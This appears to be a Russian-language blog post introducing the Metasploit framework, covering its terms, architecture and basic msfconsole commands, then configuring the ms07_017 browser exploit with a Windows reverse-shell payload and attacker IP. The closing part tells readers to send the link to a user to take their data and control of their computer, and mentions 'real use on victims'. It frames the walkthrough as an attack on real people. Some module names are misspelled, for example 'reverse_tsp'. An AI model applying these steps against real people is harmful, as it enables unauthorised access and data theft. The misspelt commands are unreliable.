Hacking
March 3, 2022

Metasploit. Все, что вам нужно знать

Разбираем самый популярный хакерский фреймворк

Всем салют, дорогие друзья!
Начнем мы с того, что разберем, чем же является этот Metasploit framework, а после этого немного разберемся с терминологией, чтоб было понятно, что эти слова означают.

Поехали:

  • Metasploit framework - это полностью бесплатный framework созданный H. D. Moore в 2003 году, который в последствии был куплен Rapid7. Написан этот фреймфорк на языке Ruby.
Metasploit обладает крупнейшими базами данных уязвимостей и принимает около миллиона загрузок каждый год. Он также является одним из самых сложных проектов на сегодняшний, написанных на языке Ruby.
  • Уязвимость (Vulnerability) — это слабое место, так сказать пята Ахилеса, которая позволяет хакеру взламывать целевую систему. Уязвимость может существовать в операционных системах, программах, службах и т.д.
  • Эксплоит (Exploit) — это код, с помощью которого хакер может взломать систему, программу и т.п., у которой есть уязвимость. Каждое слабое место имеет свой собственный соответствующий эксплойт.
  • Payload — это код, который выполняется после эксплоита. В основном используется для настройки связи между жертвой и атакующим.

Давайте попробую показать на картинке для более подробного понимания этих слов:

И так, как мы видим стрелочку с названием Vulnerability, она показывает на уязвимость в холме (под холмом имеем введу ОС, DB и тд), куда может просочиться наш так называемый подготовленный набор скриптов Exploit, который спровоцирует взрыв в нашей системе (а именно доступ к ОС, изменение логики либо передачу данных пользователя удаленно). Ну а в конечном итоге выполним, после отработки злоскрипта, выполним следующий скрипт Payload, то-есть то, что мы хотим, чтоб в этой ОС, DB произошло по нашему. Надеюсь, я донес идею того как работает эта уязвимость.

А теперь перейдем к архитектурному виду нашего framework:

В Metasploit входят различные виды библиотек, которые играют большую роль в функционировании framework. Эти библиотеки представляют собой набор заранее определенных задач, операций и функций, которые могут быть использованы различными модулями системы. Самая фундаментальная часть framework написана на языке Ruby Extension (Rex). Некоторые компоненты Rex включают подсистему сокетов (wrapper socket subsystem), реализацию клиентских и серверных протоколов, регистрацию подсистемы (logging subsystem), exploitation utility classes, а также ряд других полезных классов.

Далее есть MSF Core библиотека, которая расширяет Rex. Core несет ответственность за выполнение всех необходимых интерфейсов (required interfaces), которые позволяют взаимодействовать с эксплоитами, модулями, сессиями и плагинами.

Metasploit состоит из четырех так называемых пользовательских интерфейсов:

  • msfconsole
  • msfcli
  • msfgui
  • msfweb

Установка Metasploit доступна для всех Linux дистрибутивов , в Kali Linux он идет из коробки.

Скачать Metasploit c офф сайта.

Перед тем как начать применять exploits и payloads на целевой машине, вы должны знать их основы. Важно понять, как использовать эксплоиты, чтобы не допустить распространенные ошибки, которые могут возникнуть из-за неправильной конфигурации параметров.

Для того, чтобы начать использовать эксплоиты, нужно просканировать целевую машину допустим с помощью утилиты Nmap. После того, как собрано достаточно информации о цели, след. шагом будет выбор подходящего эксплоита.

  • Давайте пробежимся по некоторым командам, которые применяются вместе с эксплоитами:

show payloads и show exploits — эти две команды показывают список доступных эксплоитов и payloads. например:

1 msf exploit(ms03_026_dcom) > show options 
2 Module options (exploit/windows/dcerpc/ms03_026_dcom): 
3 Name Current Setting Required Description 
4 — — — — — — — — — — — — — — — — — — — - 
5 RHOST yes The target address 
6 RPORT 135 yes The target port

search exploit — команда будет искать конкретный эксплоит, например:

1 msf > search ms03_026_dcom 
2 Matching Modules 
3 ================ 
4 Name Disclosure Date Rank Description 
5 — — — — — — — — — — — — — — — — — - 
6 exploit/windows/dcerpc/ms03_026_dcom 2003–07–16 great Microsoft RPC DCOM

use exploit — команда устанавливает эксплоит в активное состояние, т.е. им можно пользоваться. например:

1 msf > use exploit/windows/dcerpc/ms03_026_dcom
2 msf exploit(ms03_026_dcom) >

set — эта команда задает значения для параметров/опций в эксплоите, см. след. команду. например:

1 msf exploit(ms03_026_dcom) > set RHOST 102.168.56.102 
2 RHOST =>102.168.56.102 
3 msf exploit(ms03_026_dcom) >

show targets — каждый exploit создан для атаки на конкретную службу/сервис. Эта команда показывает, какие цели могут быть атакованы, например:

1 msf exploit(ms03_026_dcom) > show targets 
2 Exploit targets: 
3 Id Name 
4 — — — 
5 0 Windows NT SP3–6a/2000/XP/2003 Universal

А теперь можем потренироваться с такой уязвимостью как ms07_017. Которая позволяет снифферить все данные пользователя, который перешел по ссылке, которую мы ему дадим.

Для начала нам нужно найти ее полный путь поэтому выполним команду:

search ms07_017

Затем заюзать этот эксплоит командой:

use exploit/windows/brouser/ms07_017_ani_loadimage_chunksize

Смотрим информацию о данном эксплоите, что именно нам надо добавить для полноценного пользования. Пишем команду:

show option

Затем видим,что нам нужно задать payload, тоесть ОС на которую будет происходить атака. Для этого используем команду:

set Payload windows/shell/reverse_tsp

Видим также, что от нас требуется задать ip атакующей машины, по-этому пишем команду + айпи:

set LHOST 192.168.52.159

Можем теперь свой айпи кинуть какому-то пользователю и он перейдя на нее передаст нам полностью все свои данные, а так же откроет доступ к своему компьютеру, что дас там возможность даже создавать папки, читать файлы и тд.

Для реального применения по жертвам, само собой свой айпи кидать не стоит, но это уже тема для отдельной статьи.

На сегодня это все. Надеемся, что данная информация будет вам полезна!


👉Да, хочу!ᅠ